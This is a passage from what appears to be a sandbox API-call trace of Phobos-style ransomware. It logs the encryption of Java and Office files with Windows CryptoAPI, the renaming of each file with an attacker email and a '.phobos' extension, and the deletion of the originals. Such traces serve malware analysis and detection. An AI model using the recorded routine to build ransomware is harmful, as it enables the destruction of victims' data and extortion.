pdwDataLen=0x37af7c8*=0x60) returned 1 [0050.452] CryptDestroyKey (hKey=0x10dc850) returned 1 [0050.452] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x112, lpOverlapped=0x0) returned 1 [0050.452] CryptDestroyKey (hKey=0x10dc950) returned 1 [0050.452] CloseHandle (hObject=0x328) returned 1 [0050.452] CloseHandle (hObject=0x31c) returned 1 [0050.455] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1 [0050.457] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0050.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.457] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=281) returned 1 [0050.457] CloseHandle (hObject=0x31c) returned 1 [0050.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0050.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0050.457] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.457] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.457] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc10) returned 1 [0050.457] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.458] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x119, lpOverlapped=0x0) returned 1 [0050.458] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x120, dwBufLen=0x120 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x120) returned 1 [0050.458] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x120, lpOverlapped=0x0) returned 1 [0050.460] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0050.460] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.460] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0050.460] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0050.460] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0050.461] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0050.461] CloseHandle (hObject=0x31c) returned 1 [0050.461] CloseHandle (hObject=0x328) returned 1 [0050.462] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0050.463] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0050.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.463] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=174528) returned 1 [0050.464] CloseHandle (hObject=0x328) returned 1 [0050.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0050.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.464] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.464] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.513] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dccd0) returned 1 [0050.513] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.513] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2a9c0, lpOverlapped=0x0) returned 1 [0050.774] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2a9d0, dwBufLen=0x2a9d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2a9d0) returned 1 [0050.774] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2a9d0, lpOverlapped=0x0) returned 1 [0050.777] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0050.777] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.777] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0050.777] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0050.777] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0050.777] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0050.777] CloseHandle (hObject=0x328) returned 1 [0050.777] CloseHandle (hObject=0x310) returned 1 [0050.780] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0050.783] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0050.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.783] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=94467) returned 1 [0050.783] CloseHandle (hObject=0x310) returned 1 [0050.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0050.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.783] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.783] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.783] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0050.784] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.784] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x17103, lpOverlapped=0x0) returned 1 [0050.809] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x17110, dwBufLen=0x17110 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x17110) returned 1 [0050.809] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x17110, lpOverlapped=0x0) returned 1 [0050.814] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0050.814] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.814] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0050.814] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0050.814] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0050.814] CryptDestroyKey (hKey=0x10dca10) returned 1 [0050.814] CloseHandle (hObject=0x310) returned 1 [0050.814] CloseHandle (hObject=0x328) returned 1 [0050.816] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0050.818] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0050.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.818] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=36336) returned 1 [0050.818] CloseHandle (hObject=0x328) returned 1 [0050.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0050.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0050.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0050.818] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.818] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0050.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0050.818] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0050.818] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0050.819] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x8df0, lpOverlapped=0x0) returned 1 [0051.021] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8e00, dwBufLen=0x8e00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x8e00) returned 1 [0051.021] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x8e00, lpOverlapped=0x0) returned 1 [0051.022] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0051.022] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.022] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0051.022] CryptDestroyKey (hKey=0x10dc950) returned 1 [0051.022] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0051.022] CryptDestroyKey (hKey=0x10dc710) returned 1 [0051.022] CloseHandle (hObject=0x328) returned 1 [0051.022] CloseHandle (hObject=0x310) returned 1 [0051.023] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0051.024] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.025] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=387356) returned 1 [0051.025] CloseHandle (hObject=0x310) returned 1 [0051.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0051.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.026] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.026] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.026] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0051.026] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.026] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5e91c, lpOverlapped=0x0) returned 1 [0051.213] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5e920, dwBufLen=0x5e920 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5e920) returned 1 [0051.214] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x5e920, lpOverlapped=0x0) returned 1 [0051.221] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0051.221] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0051.221] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0051.221] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0051.221] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0051.221] CryptDestroyKey (hKey=0x10dc590) returned 1 [0051.221] CloseHandle (hObject=0x310) returned 1 [0051.222] CloseHandle (hObject=0x328) returned 1 [0051.229] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0051.233] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0051.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.233] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1533) returned 1 [0051.233] CloseHandle (hObject=0x328) returned 1 [0051.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0051.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0051.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0051.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.234] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0051.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0051.234] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0051.234] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 